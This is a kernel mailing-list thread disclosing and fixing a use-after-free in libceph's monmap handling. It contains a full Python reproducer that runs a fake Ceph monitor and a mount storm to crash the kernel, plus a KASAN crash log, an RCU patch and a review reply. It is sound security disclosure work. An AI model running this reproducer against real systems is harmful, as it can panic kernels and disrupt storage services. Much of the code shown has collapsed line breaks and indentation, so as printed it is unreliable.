libceph: fix a monmap use-after-free in ceph_compare_options()
Subsystems (2)
cover libceph: fix a monmap use-after-free in ceph_compare_options()
From: Yong Wang <[email protected]>
Hi Linux kernel maintainers,
We found and validated a use-after-free in net/ceph/ceph_common.c. The bug is reachable by root via the normal CephFS mount path. We tested the fix and it does not change the existing non-blocking mount-share comparison semantics.
We provide the technical details, the reproducer that triggers the bug and the crash log below.
---- details below ----
Bug details:
ceph_compare_options() determines whether a new mount can share an existing client by checking whether any monitor address in the new mount options is present in client->monc.monmap:
for (i = 0; i < opt1->num_mon; i++) {
if (ceph_monmap_contains(client->monc.monmap,
&opt1->mon_addr[i]))
return 0;
}That path runs from ceph_compare_super() during shared mount lookup. It can execute under sb_lock or rbd_client_list_lock, so it cannot take monc->mutex.
Monitor map updates, however, replace monc->monmap under monc->mutex and free the old map immediately:
mutex_lock(&monc->mutex); ... kfree(monc->monmap); monc->monmap = monmap;
ceph_monmap_contains() then walks m->num_mon and m->mon_inst[] on a monmap object whose lifetime is not protected against concurrent replacement. A shared-mount comparison racing a monmap update can therefore dereference a freed struct ceph_monmap and walk stale mon_inst[] entries, leading to a slab-use-after-free.
The attached patch fixes this by protecting the compare path with RCU and by publishing/freeing monitor maps with rcu_assign_pointer() and kfree_rcu().
Reproducer:
We ran the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
exec python3 "poc.py" \
--ssh-port "$QEMU_SSH_PORT" \
--monitor-port "6789" \
--workers "16" \
--duration "5" \
--attempts "10" \
--update-interval "0.0005"
------BEGIN poc.py------
#!/usr/bin/env python3
import argparse
import os
import shlex
import socket
import struct
import subprocess
import sys
import threading
import time
POLY = 0x82F63B78
BANNER = b"ceph v027"BANNER_ADDR = b"\x00" * 136
FSID = bytes.fromhex("11223344556677889900aabbccddeeff")
TAG_READY = 1TAG_MSG = 7TAG_ACK = 8TAG_KEEPALIVE = 9TAG_KEEPALIVE2 = 14TAG_KEEPALIVE2_ACK = 15TAG_CLOSE = 6
MSG_MON_MAP = 4MSG_MON_SUBSCRIBE = 15MSG_MON_SUBSCRIBE_ACK = 16MSG_AUTH = 17MSG_AUTH_REPLY = 18
NUM_MON = 31
def crc32c(data, seed=0):
crc = seed & 0xFFFFFFFF
for b in data:
crc ^= b
for _ in range(8):
if crc & 1:
crc = (crc >> 1) ^ POLY
else:
crc >>= 1
crc &= 0xFFFFFFFF
return crcdef recv_exact(sock, length):
data = b""
while len(data) < length:
chunk = sock.recv(length - len(data))
if not chunk:
raise EOFError("peer closed")
data += chunk
return data
def pack_header(seq, tid, msg_type, front_len):
hdr = b""
hdr += struct.pack("<Q", seq)
hdr += struct.pack("<Q", tid)
hdr += struct.pack("<H", msg_type)
hdr += struct.pack("<H", 127)
hdr += struct.pack("<H", 0)
hdr += struct.pack("<I", front_len)
hdr += struct.pack("<I", 0)
hdr += struct.pack("<I", 0)
hdr += struct.pack("<H", 0)
hdr += struct.pack("<B", 1)
hdr += struct.pack("<Q", 0)
hdr += struct.pack("<H", 0)
hdr += struct.pack("<H", 0)
hdr += struct.pack("<I", crc32c(hdr))
return hdrdef pack_msg(seq, tid, msg_type, front):
hdr = pack_header(seq, tid, msg_type, len(front)) footer = struct.pack("<IIIQb", crc32c(front), 0, 0, 0, 1) return bytes([TAG_MSG]) + hdr + front + footer
def parse_msg_header(hdr):
return {
"seq": struct.unpack_from("<Q", hdr, 0)[0],
"tid": struct.unpack_from("<Q", hdr, 8)[0],
"type": struct.unpack_from("<H", hdr, 16)[0],
"front_len": struct.unpack_from("<I", hdr, 22)[0],
"middle_len": struct.unpack_from("<I", hdr, 26)[0],
"data_len": struct.unpack_from("<I", hdr, 30)[0],
}def enc_addr(ip, port):
ip_bytes = socket.inet_aton(ip)
sockaddr = struct.pack("<H", socket.AF_INET)
sockaddr += struct.pack(">H", port)
sockaddr += ip_bytes
sockaddr += b"\x00" * 8
addr_struct = b""
addr_struct += struct.pack("<B", 1)
addr_struct += struct.pack("<BBI", 1, 1, 12 + len(sockaddr))
addr_struct += struct.pack("<I", 1)
addr_struct += struct.pack("<I", 0)
addr_struct += struct.pack("<I", len(sockaddr))
addr_struct += sockaddr
return addr_structdef enc_monmap(epoch):
body = FSID
body += struct.pack("<I", epoch)
body += struct.pack("<I", NUM_MON)
for i in range(NUM_MON):
name = f"m{i}".encode()
body += struct.pack("<I", len(name))
body += name
body += enc_addr("10.0.2.123", 7000 + i)
blob = struct.pack("<BBI", 5, 5, len(body)) + body
return struct.pack("<I", len(blob)) + blobclass ConnWorker(threading.Thread):
def __init__(self, conn, stop_event, update_interval):
super().__init__(daemon=True)
self.conn = conn
self.stop_event = stop_event self.update_interval = update_interval self.seq = 0
self.epoch = 0
self.subscribed = False
self.error = ""
def send_msg(self, tid, msg_type, front):
self.seq += 1 self.conn.sendall(pack_msg(self.seq, tid, msg_type, front))
def handle_handshake(self):
_ = recv_exact(self.conn, 9 + 136) self.conn.sendall(BANNER + BANNER_ADDR + BANNER_ADDR)
cmsg = recv_exact(self.conn, 33)
features, _host_type, gseq, cseq, proto, _aproto, alen, _flags = struct.unpack(
"<QIIIIIIb", cmsg
)
if alen:
_ = recv_exact(self.conn, alen)
reply = struct.pack("<BQIIIIb", TAG_READY, features, gseq, cseq + 1, proto, 0, 0) self.conn.sendall(reply)
self.conn.settimeout(0.001)
def handle_msg(self, hdr_info, front):
if hdr_info["type"] == MSG_AUTH:
auth_reply = struct.pack("<IIQI", 1, 0, 0x1234, 0) + struct.pack("<I", 0) self.send_msg(hdr_info["tid"], MSG_AUTH_REPLY, auth_reply) return
if hdr_info["type"] == MSG_MON_SUBSCRIBE:
self.subscribed = True
self.send_msg(hdr_info["tid"], MSG_MON_SUBSCRIBE_ACK, struct.pack("<I", 30) + FSID) return
def run(self):
try:
self.handle_handshake()
next_update = time.time()
while not self.stop_event.is_set():
now = time.time()
if self.subscribed and now >= next_update:
sent = 0
while now >= next_update and sent < 4:
self.epoch += 1
self.send_msg(0, MSG_MON_MAP, enc_monmap(self.epoch)) next_update += self.update_interval
sent += 1
now = time.time()
try:
tag = self.conn.recv(1)
except socket.timeout:
continue
if not tag:
return
tag = tag[0]
if tag == TAG_KEEPALIVE2:
stamp = recv_exact(self.conn, 8) self.conn.sendall(bytes([TAG_KEEPALIVE2_ACK]) + stamp) continue
if tag == TAG_KEEPALIVE:
continue
if tag == TAG_ACK:
_ = recv_exact(self.conn, 8)
continue
if tag == TAG_CLOSE:
return
if tag != TAG_MSG:
continue
hdr = recv_exact(self.conn, 53)
hdr_info = parse_msg_header(hdr)
front = recv_exact(self.conn, hdr_info["front_len"]) if hdr_info["middle_len"]:
_ = recv_exact(self.conn, hdr_info["middle_len"])
if hdr_info["data_len"]:
_ = recv_exact(self.conn, hdr_info["data_len"])
_ = recv_exact(self.conn, 21) self.handle_msg(hdr_info, front)
except Exception as exc:
self.error = str(exc)
finally:
try:
self.conn.close()
except OSError:
pass
class FakeMonitor:
def __init__(self, port, update_interval):
self.port = port
self.update_interval = update_interval
self.stop_event = threading.Event()
self.server = None
self.accept_thread = None
self.workers = []
self.accept_errors = []
def start(self):
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.server.bind(("0.0.0.0", self.port)) self.server.listen(256)
self.server.settimeout(0.2)
self.accept_thread = threading.Thread(target=self.accept_loop, daemon=True) self.accept_thread.start()
def accept_loop(self):
while not self.stop_event.is_set():
try:
conn, _addr = self.server.accept()
except socket.timeout:
continue
except OSError as exc:
if not self.stop_event.is_set():
self.accept_errors.append(str(exc))
return
worker = ConnWorker(conn, self.stop_event, self.update_interval) self.workers.append(worker)
worker.start()
def stop(self):
self.stop_event.set()
if self.server is not None:
try:
self.server.close()
except OSError:
pass
if self.accept_thread is not None:
self.accept_thread.join(timeout=1)
for worker in self.workers:
worker.join(timeout=1)
def stats(self):
subscribed = sum(1 for w in self.workers if w.subscribed) max_epoch = max((w.epoch for w in self.workers), default=0) return {
"connections": len(self.workers),
"subscribed": subscribed,
"max_epoch": max_epoch,
"errors": [w.error for w in self.workers if w.error] + self.accept_errors,
}
class Repro:
def __init__(self, ssh_port, monitor_port, workers, duration, attempts, update_interval):
self.ssh_port = ssh_port
self.monitor_port = monitor_port
self.workers = workers
self.duration = duration
self.attempts = attempts
self.update_interval = update_interval
script_dir = os.path.dirname(os.path.abspath(__file__))
repo_root = os.path.abspath(os.path.join(script_dir, "..", "..", "..", ".."))
ssh_key = os.environ.get(
"QEMU_SSH_KEY",
os.path.join(repo_root, "kernel-image", "bullseye.id_rsa"),
)
self.ssh = [
"ssh",
"-i",
ssh_key,
"-o",
"StrictHostKeyChecking=no",
"-o",
"UserKnownHostsFile=/dev/null",
"-o",
"ConnectTimeout=5",
"-p",
str(self.ssh_port),
"root@localhost",
]
def ssh_run(self, cmd, timeout=30):
return subprocess.run(
self.ssh + [cmd],
text=True,
capture_output=True,
timeout=timeout,
)
def ssh_popen(self, cmd):
return subprocess.Popen(
self.ssh + [cmd],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
def guest_reachable(self):
try:
result = self.ssh_run("true", timeout=8)
except subprocess.TimeoutExpired:
return False
return result.returncode == 0
def cleanup_guest(self):
cmd = (
"pkill -x mount >/dev/null 2>&1 || true; "
"pkill -x timeout >/dev/null 2>&1 || true; "
"umount -a -t ceph >/dev/null 2>&1 || true; "
"rm -rf /mnt/cephcmp; mkdir -p /mnt/cephcmp; "
"dmesg -c >/dev/null 2>&1 || true; "
"sysctl -w kernel.panic_on_warn=1 >/dev/null 2>&1 || true"
)
return self.ssh_run(cmd, timeout=30)
def mount_source(self):
mon = f"10.0.2.2:{self.monitor_port}"
return ",".join(mon for _ in range(NUM_MON)) + ":/"
def mount_opts(self):
return "name=admin,ms_mode=legacy,nocephx_sign_messages,mount_timeout=30"
def storm_cmd(self):
source = shlex.quote(self.mount_source())
opts = shlex.quote(self.mount_opts())
return (
"set -eu; "
"for i in $(seq 0 " + str(self.workers - 1) + "); do "
"mkdir -p /mnt/cephcmp/$i; "
"done; "
"end=$(( $(date +%s) + " + str(self.duration) + " )); "
"for i in $(seq 0 " + str(self.workers - 1) + "); do "
"(while [ $(date +%s) -lt $end ]; do "
"timeout --signal=TERM --kill-after=1 1 "
f"mount -i -t ceph {source} /mnt/cephcmp/$i -o {opts} >/dev/null 2>&1 || true; "
"umount -l /mnt/cephcmp/$i >/dev/null 2>&1 || true; "
"done) & "
"done; "
"wait"
)
def collect_dmesg(self):
try:
result = self.ssh_run("dmesg | tail -n 400", timeout=20)
except subprocess.TimeoutExpired as exc:
return f"dmesg timeout: {exc}", False
return result.stdout + result.stderr, result.returncode == 0
def run_attempt(self, attempt):
cleanup = self.cleanup_guest()
if cleanup.returncode != 0:
raise RuntimeError(f"guest cleanup failed:\n{cleanup.stdout}\n{cleanup.stderr}")
monitor = FakeMonitor(self.monitor_port, self.update_interval)
monitor.start()
print(f"[*] attempt {attempt}: starting mount storm with {self.workers} workers", flush=True)
storm = self.ssh_popen(self.storm_cmd())
time.sleep(self.duration + 2)
monitor.stop()
try:
storm.wait(timeout=10)
except subprocess.TimeoutExpired:
storm.kill()
storm.wait(timeout=5)
stats = monitor.stats()
print(
f"[*] attempt {attempt}: connections={stats['connections']} subscribed={stats['subscribed']} max_epoch={stats['max_epoch']}",
flush=True,
)
for err in stats["errors"][:8]:
print(f"[i] server error: {err}", flush=True)
reachable = self.guest_reachable()
dmesg, got_dmesg = self.collect_dmesg() if reachable else ("guest unreachable after run", False)
hit = False
if got_dmesg:
print(dmesg, flush=True)
log = dmesg.lower()
hit = (
"kasan: slab-use-after-free" in log
or "kasan: use-after-free" in log
or "ceph_compare_options" in log
or "ceph_monmap_contains" in log
or "kernel panic - not syncing" in log
)
elif not reachable and stats["subscribed"] > 0 and stats["max_epoch"] > 10:
hit = True
print("[+] guest became unreachable after repeated monmap churn", flush=True)
self.cleanup_guest()
return hit
def run(self):
for attempt in range(1, self.attempts + 1):
if self.run_attempt(attempt):
return 0
return 1def main():
parser = argparse.ArgumentParser(description="Trigger ceph_compare_options UAF with a fake monitor") parser.add_argument("--ssh-port", type=int, required=True, help="QEMU SSH port") parser.add_argument("--monitor-port", type=int, default=6789, help="Host fake monitor port") parser.add_argument("--workers", type=int, default=16, help="Concurrent guest mount workers") parser.add_argument("--duration", type=int, default=5, help="Per-attempt runtime in seconds") parser.add_argument("--attempts", type=int, default=10, help="Number of attempts") parser.add_argument(
"--update-interval",
type=float,
default=0.0005,
help="Seconds between monmap updates per subscribed client",
)
args = parser.parse_args()
repro = Repro(
ssh_port=args.ssh_port,
monitor_port=args.monitor_port,
workers=args.workers,
duration=args.duration,
attempts=args.attempts,
update_interval=args.update_interval,
)
return repro.run()
if __name__ == "__main__":
sys.exit(main())
------END poc.py--------
----BEGIN crash log----
[ 227.669089][ T9575] libceph: mon8 (1)10.0.2.2:6789 session established [ 227.953134][ T26] libceph: mon30 (1)10.0.2.2:6789 session established [ 227.978738][T10215] ================================================================== [ 227.979344][T10215] BUG: KASAN: slab-use-after-free in ceph_monmap_contains+0x1e4/0x220 [ 227.980082][T10215] Read of size 4 at addr ffff888045132014 by task mount/10215 [ 227.980588][T10215] [ 227.980818][T10215] CPU: 0 UID: 0 PID: 10215 Comm: mount Not tainted 6.12.74 #1 [ 227.980859][T10215] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 227.980884][T10215] Call Trace: [ 227.980901][T10215] <TASK> [ 227.980911][T10215] dump_stack_lvl+0x10e/0x1f0 [ 227.981009][T10215] print_report+0xc6/0x620 [ 227.981338][T10215] kasan_report+0xd8/0x110 [ 227.981423][T10215] ceph_monmap_contains+0x1e4/0x220 [ 227.981474][T10215] ceph_compare_options+0x591/0x700 [ 227.981589][T10215] ceph_compare_super+0x487/0xba0 [ 227.981699][T10215] sget_fc+0x51e/0xc10 [ 227.982181][T10215] ceph_get_tree+0x6e7/0x1e20 [ 227.982379][T10215] path_mount+0x6cc/0x1fd0 [ 227.982639][T10215] __x64_sys_mount+0x294/0x320 [ 227.982738][T10215] do_syscall_64+0xc7/0x250 [ 227.982811][T10215] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 227.983093][T10215] </TASK> [ 228.003473][T10215] Allocated by task 9575: [ 228.005659][T10215] mon_dispatch+0x1906/0x2630 [ 228.006129][T10215] ceph_con_process_message+0x208/0x640 [ 228.007264][T10215] ceph_con_workfn+0x95a/0x11e0 [ 228.009862][T10215] [ 228.010065][T10215] Freed by task 9575: [ 228.012555][T10215] mon_dispatch+0x1aa4/0x2630 [ 228.013032][T10215] ceph_con_process_message+0x208/0x640 [ 228.014011][T10215] ceph_con_workfn+0x95a/0x11e0 [ 228.016401][T10215] [ 228.041334][T10215] Memory state around the buggy address: [ 228.043135][T10215] >ffff888045132000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 228.045551][T10215] ================================================================== [ 228.046391][T10215] Kernel panic - not syncing: KASAN: panic_on_warn set ... [ 228.052925][T10215] check_panic_on_warn+0xab/0xb0 [ 228.054125][T10215] ceph_monmap_contains+0x1e4/0x220 [ 228.055063][T10215] ceph_compare_options+0x591/0x700 [ 228.055976][T10215] ceph_compare_super+0x487/0xba0 [ 228.056930][T10215] sget_fc+0x51e/0xc10 [ 228.058710][T10215] ceph_get_tree+0x6e7/0x1e20 [ 228.060624][T10215] path_mount+0x6cc/0x1fd0 [ 228.063231][T10215] __x64_sys_mount+0x294/0x320 [ 228.064118][T10215] do_syscall_64+0xc7/0x250 [ 228.064528][T10215] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 228.071561][T10215] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Yong Wang
Yong Wang (1):
libceph: use RCU to protect monmap in ceph_compare_options()
fs/ceph/super.c | 7 +++-- include/linux/ceph/mon_client.h | 4 ++- net/ceph/ceph_common.c | 21 ++++++++++---- net/ceph/debugfs.c | 11 ++++--- net/ceph/mon_client.c | 51 ++++++++++++++++++++++----------- 5 files changed, 65 insertions(+), 29 deletions(-)
Signature · 1 line
2.53.0
PATCH 1/1 libceph: use RCU to protect monmap in ceph_compare_options()
From: Yong Wang <[email protected]>
ceph_compare_options() checks whether a new mount shares any monitor address with an existing client by walking client->monc.monmap via ceph_monmap_contains(). That comparison can run under sb_lock or rbd_client_list_lock, so it cannot take monc->mutex.
Meanwhile, monmap update handling replaces monc->monmap under monc->mutex and frees the old map immediately. A concurrent shared- mount comparison can therefore dereference a freed monmap and walk stale mon_inst[] entries, triggering a use-after-free.
Protect the compare path with RCU and publish/free monitor maps with rcu_assign_pointer() and kfree_rcu(). Annotate monc->monmap as an RCU pointer and use rcu_dereference_protected() in mutex-protected paths to keep the accesses consistent with the new pointer contract.
This keeps the existing non-blocking comparison semantics while ensuring that replaced monmaps remain alive until readers are done.
--- fs/ceph/super.c | 7 +++-- include/linux/ceph/mon_client.h | 4 ++- net/ceph/ceph_common.c | 21 ++++++++++---- net/ceph/debugfs.c | 11 ++++--- net/ceph/mon_client.c | 51 ++++++++++++++++++++++----------- 5 files changed, 65 insertions(+), 29 deletions(-)
fs/ceph/super.c +5 -2
@@ -60,6 +60,7 @@ static int ceph_statfs(struct dentry *dentry, struct kstatfs *buf) {struct ceph_fs_client *fsc =ceph_inode_to_fs_client (d_inode (dentry));struct ceph_mon_client *monc = &fsc->client->monc; +struct ceph_monmap *monmap;struct ceph_statfs st;int i, err;u64 data_pool;
@@ -111,8 +112,10 @@ static int ceph_statfs(struct dentry *dentry, struct kstatfs *buf)/* Must convert the fsid, for consistent values across arches */ buf->f_fsid.val[0 ] =0 ;mutex_lock (&monc->mutex); -for (i =0 ; i <sizeof (monc->monmap->fsid) /sizeof (__le32) ; ++i) - buf->f_fsid.val[0 ] ^=le32_to_cpu (((__le32 *)&monc->monmap->fsid)[i]); + monmap =rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex)); +for (i =0 ; i <sizeof (monmap->fsid) /sizeof (__le32) ; ++i) + buf->f_fsid.val[0 ] ^=le32_to_cpu (((__le32 *)&monmap->fsid)[i]);mutex_unlock (&monc->mutex);/* fold the fs_cluster_id into the upper bits */
include/linux/ceph/mon_client.h +3 -1
@@ -4,6 +4,7 @@#include <linux/completion.h> #include <linux/kref.h> +#include <linux/rcupdate.h> #include <linux/rbtree.h> #include <linux/ceph/messenger.h>
@@ -19,6 +20,7 @@ struct ceph_monmap {struct ceph_fsid fsid;u32 epoch;u32 num_mon; +struct rcu_head rcu; struct ceph_entity_inst mon_inst[] __counted_by(num_mon); };
@@ -69,7 +71,7 @@ struct ceph_mon_generic_request {struct ceph_mon_client {struct ceph_client *client; -struct ceph_monmap *monmap; +struct ceph_monmap __rcu *monmap;struct mutex mutex;struct delayed_work delayed_work;
net/ceph/ceph_common.c +16 -5
@@ -133,6 +133,7 @@ int ceph_compare_options(struct ceph_options *new_opt, {struct ceph_options *opt1 = new_opt;struct ceph_options *opt2 = client->options; +struct ceph_monmap *monmap;int ofs = offsetof(struct ceph_options , mon_addr);int i;int ret;
@@ -180,13 +181,20 @@ int ceph_compare_options(struct ceph_options *new_opt,if (ret)return ret; +rcu_read_lock (); + monmap =rcu_dereference (client->monc.monmap); + ret =-1 ; +/* any matching mon ip implies a match */ for (i =0 ; i < opt1->num_mon; i++) { -if (ceph_monmap_contains (client->monc.monmap, - &opt1->mon_addr[i])) -return 0 ; +if (ceph_monmap_contains (monmap, &opt1->mon_addr[i])) { + ret =0 ; +break ; + } } -return -1 ; + +rcu_read_unlock (); +return ret; }EXPORT_SYMBOL (ceph_compare_options);
@@ -791,6 +799,7 @@ int __ceph_open_session(struct ceph_client *client) {DEFINE_WAIT_FUNC (wait, woken_wake_function);long timeout =ceph_timeout_jiffies (client->options->mount_timeout); +struct ceph_monmap *monmap;bool have_monmap, have_osdmap;int err;
@@ -803,7 +812,9 @@ int __ceph_open_session(struct ceph_client *client)for (;;) {mutex_lock (&client->monc.mutex); err = client->auth_err; - have_monmap = client->monc.monmap && client->monc.monmap->epoch; + monmap =rcu_dereference_protected (client->monc.monmap, +lockdep_is_held (&client->monc.mutex)); + have_monmap = monmap && monmap->epoch;mutex_unlock (&client->monc.mutex);down_read (&client->osdc.lock);
net/ceph/debugfs.c +7 -4
@@ -35,15 +35,18 @@ static int monmap_show(struct seq_file *s, void *p) {int i;struct ceph_client *client = s->private; +struct ceph_monmap *monmap;mutex_lock (&client->monc.mutex); -if (client->monc.monmap ==NULL ) + monmap =rcu_dereference_protected (client->monc.monmap, +lockdep_is_held (&client->monc.mutex)); +if (!monmap) goto out_unlock; -seq_printf (s,"epoch %d\n" , client->monc.monmap->epoch); -for (i =0 ; i < client->monc.monmap->num_mon; i++) { +seq_printf (s,"epoch %d\n" , monmap->epoch); +for (i =0 ; i < monmap->num_mon; i++) {struct ceph_entity_inst *inst = - &client->monc.monmap->mon_inst[i]; + &monmap->mon_inst[i]; seq_printf(s, "\t%s%lld\t%s\n", ENTITY_NAME(inst->name),
net/ceph/mon_client.c +34 -17
152 lines not on this page · raw message
Signature · 1 line
2.53.0
Re: [PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
Quoted 12 lines · Ren Wei
From: Yong Wang <[email protected]>
ceph_compare_options()checks whether a new mount shares any monitor address with an existing client by walkingclient->monc.monmapviaceph_monmap_contains(). That comparison can run undersb_lockorrbd_client_list_lock, so it cannot takemonc->mutex.Meanwhile, monmap update handling replaces
monc->monmapundermonc->mutexand frees the old map immediately. A concurrent shared- mount comparison can therefore dereference a freed monmap and walk stale mon_inst[] entries, triggering a use-after-free.
Quoted 7 lines
Protect the compare path with RCU and publish/free monitor maps with
rcu_assign_pointer()andkfree_rcu(). Annotatemonc->monmapas an RCU pointer and usercu_dereference_protected()in mutex-protected paths to keep the accesses consistent with the new pointer contract.This keeps the existing non-blocking comparison semantics while ensuring that replaced monmaps remain alive until readers are done.
The approach makes sense to me. However, I have some concern. If the replaced monmap(s) could be in use with newly allocated one(s), then are we safe here?
Have you tried to run xfstests for the patch?
Thanks,
Slava.
Quoted 324 lines
Fixes 4e7a5dcd1bbab ("ceph: negotiate authentication protocol; implement AUTH_NONE protocol")Reported-by Yuan Tan <[email protected]>Reported-by Xin Liu <[email protected]>Assisted-by Codex:gpt-5.4Signed-off-by Yong Wang <[email protected]>Reviewed-by Ren Wei <[email protected]>--- fs/ceph/super.c | 7 +++-- include/linux/ceph/mon_client.h | 4 ++- net/ceph/ceph_common.c | 21 ++++++++++---- net/ceph/debugfs.c | 11 ++++--- net/ceph/mon_client.c | 51 ++++++++++++++++++++++----------- 5 files changed, 65 insertions(+), 29 deletions(-)fs/ceph/super.c +5
-2@@ -60,6 +60,7 @@ static int ceph_statfs(struct dentry *dentry, struct kstatfs *buf) {struct ceph_fs_client *fsc =ceph_inode_to_fs_client (d_inode (dentry));struct ceph_mon_client *monc = &fsc->client->monc; +struct ceph_monmap *monmap;struct ceph_statfs st;int i, err;u64 data_pool;@@ -111,8 +112,10 @@ static int ceph_statfs(struct dentry *dentry, struct kstatfs *buf)/* Must convert the fsid, for consistent values across arches */ buf->f_fsid.val[0 ] =0 ;mutex_lock (&monc->mutex); -for (i =0 ; i <sizeof (monc->monmap->fsid) /sizeof (__le32) ; ++i) - buf->f_fsid.val[0 ] ^=le32_to_cpu (((__le32 *)&monc->monmap->fsid)[i]); + monmap =rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex)); +for (i =0 ; i <sizeof (monmap->fsid) /sizeof (__le32) ; ++i) + buf->f_fsid.val[0 ] ^=le32_to_cpu (((__le32 *)&monmap->fsid)[i]);mutex_unlock (&monc->mutex);/* fold the fs_cluster_id into the upper bits */ include/linux/ceph/mon_client.h +3
-1@@ -4,6 +4,7 @@#include <linux/completion.h> #include <linux/kref.h> +#include <linux/rcupdate.h> #include <linux/rbtree.h> #include <linux/ceph/messenger.h> @@ -19,6 +20,7 @@ struct ceph_monmap {struct ceph_fsid fsid;u32 epoch;u32 num_mon; +struct rcu_head rcu; struct ceph_entity_inst mon_inst[] __counted_by(num_mon); };@@ -69,7 +71,7 @@ struct ceph_mon_generic_request {struct ceph_mon_client {struct ceph_client *client; -struct ceph_monmap *monmap; +struct ceph_monmap __rcu *monmap;struct mutex mutex;struct delayed_work delayed_work;net/ceph/ceph_common.c +16
-5@@ -133,6 +133,7 @@ int ceph_compare_options(struct ceph_options *new_opt, {struct ceph_options *opt1 = new_opt;struct ceph_options *opt2 = client->options; +struct ceph_monmap *monmap;int ofs = offsetof(struct ceph_options , mon_addr);int i;int ret;@@ -180,13 +181,20 @@ int ceph_compare_options(struct ceph_options *new_opt,if (ret)return ret; +rcu_read_lock (); + monmap =rcu_dereference (client->monc.monmap); + ret =-1 ; +/* any matching mon ip implies a match */ for (i =0 ; i < opt1->num_mon; i++) { -if (ceph_monmap_contains (client->monc.monmap, - &opt1->mon_addr[i])) -return 0 ; +if (ceph_monmap_contains (monmap, &opt1->mon_addr[i])) { + ret =0 ; +break ; + } } -return -1 ; + +rcu_read_unlock (); +return ret; }EXPORT_SYMBOL (ceph_compare_options);@@ -791,6 +799,7 @@ int __ceph_open_session(struct ceph_client *client) {DEFINE_WAIT_FUNC (wait, woken_wake_function);long timeout =ceph_timeout_jiffies (client->options->mount_timeout); +struct ceph_monmap *monmap;bool have_monmap, have_osdmap;int err;@@ -803,7 +812,9 @@ int __ceph_open_session(struct ceph_client *client)for (;;) {mutex_lock (&client->monc.mutex); err = client->auth_err; - have_monmap = client->monc.monmap && client->monc.monmap->epoch; + monmap =rcu_dereference_protected (client->monc.monmap, +lockdep_is_held (&client->monc.mutex)); + have_monmap = monmap && monmap->epoch;mutex_unlock (&client->monc.mutex);down_read (&client->osdc.lock);net/ceph/debugfs.c +7
-4@@ -35,15 +35,18 @@ static int monmap_show(struct seq_file *s, void *p) {int i;struct ceph_client *client = s->private; +struct ceph_monmap *monmap;mutex_lock (&client->monc.mutex); -if (client->monc.monmap ==NULL ) + monmap =rcu_dereference_protected (client->monc.monmap, +lockdep_is_held (&client->monc.mutex)); +if (!monmap) goto out_unlock; -seq_printf (s,"epoch %d\n" , client->monc.monmap->epoch); -for (i =0 ; i < client->monc.monmap->num_mon; i++) { +seq_printf (s,"epoch %d\n" , monmap->epoch); +for (i =0 ; i < monmap->num_mon; i++) {struct ceph_entity_inst *inst = - &client->monc.monmap->mon_inst[i]; + &monmap->mon_inst[i]; seq_printf(s, "\t%s%lld\t%s\n", ENTITY_NAME(inst->name),net/ceph/mon_client.c +34
-17@@ -206,19 +206,22 @@ static void __close_session(struct ceph_mon_client *monc)*/ static void pick_new_mon (struct ceph_mon_client *monc) { +struct ceph_monmap *monmap = +rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex));int old_mon = monc->cur_mon; -BUG_ON (monc->monmap->num_mon <1 ); +BUG_ON (monmap->num_mon <1 ); -if (monc->monmap->num_mon ==1 ) { +if (monmap->num_mon ==1 ) { monc->cur_mon =0 ; }else { -int max = monc->monmap->num_mon; +int max = monmap->num_mon;int o =-1 ;int n;if (monc->cur_mon >=0 ) { -if (monc->cur_mon < monc->monmap->num_mon) +if (monc->cur_mon < monmap->num_mon) o = monc->cur_mon;if (o >=0 ) max--;@@ -232,7 +235,7 @@ static void pick_new_mon(struct ceph_mon_client *monc) }dout ("%s mon%d -> mon%d out of %d mons\n" , __func__, old_mon, - monc->cur_mon, monc->monmap->num_mon); + monc->cur_mon, monmap->num_mon); }/* @@ -240,6 +243,9 @@ static void pick_new_mon(struct ceph_mon_client *monc)*/ static void __open_session (struct ceph_mon_client *monc) { +struct ceph_monmap *monmap = +rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex));int ret;pick_new_mon (monc);@@ -256,7 +262,7 @@ static void __open_session(struct ceph_mon_client *monc)dout ("%s opening mon%d\n" , __func__, monc->cur_mon);ceph_con_open (&monc->con,CEPH_ENTITY_TYPE_MON , monc->cur_mon, - &monc->monmap->mon_inst[monc->cur_mon].addr); + &monmap->mon_inst[monc->cur_mon].addr);/* * Queue a keepalive to ensure that in case of an early fault @@ -542,6 +548,7 @@ static void ceph_monc_handle_map(struct ceph_mon_client *monc, struct ceph_msg *msg) {struct ceph_client *client = monc->client; +struct ceph_monmap *old_monmap;struct ceph_monmap *monmap;void *p, *end;@@ -564,10 +571,12 @@ static void ceph_monc_handle_map(struct ceph_mon_client *monc, goto out; } -kfree (monc->monmap); - monc->monmap = monmap; + old_monmap =rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex)); +rcu_assign_pointer (monc->monmap, monmap); +kfree_rcu (old_monmap, rcu); -__ceph_monc_got_map (monc,CEPH_SUB_MONMAP , monc->monmap->epoch); +__ceph_monc_got_map (monc,CEPH_SUB_MONMAP , monmap->epoch); client->have_fsid = true; out:@@ -775,6 +784,7 @@ static void handle_statfs_reply(struct ceph_mon_client *monc,int ceph_monc_do_statfs (struct ceph_mon_client *monc,u64 data_pool,struct ceph_statfs *buf) { +struct ceph_monmap *monmap;struct ceph_mon_generic_request *req;struct ceph_mon_statfs *h;int ret = -ENOMEM ;@@ -802,7 +812,9 @@ int ceph_monc_do_statfs(struct ceph_mon_client *monc, u64 data_pool, h->monhdr.have_version =0 ; h->monhdr.session_mon =cpu_to_le16 (-1 ); h->monhdr.session_mon_tid =0 ; - h->fsid = monc->monmap->fsid; + monmap =rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex)); + h->fsid = monmap->fsid; h->contains_data_pool = (data_pool !=CEPH_NOPOOL ); h->data_pool =cpu_to_le64 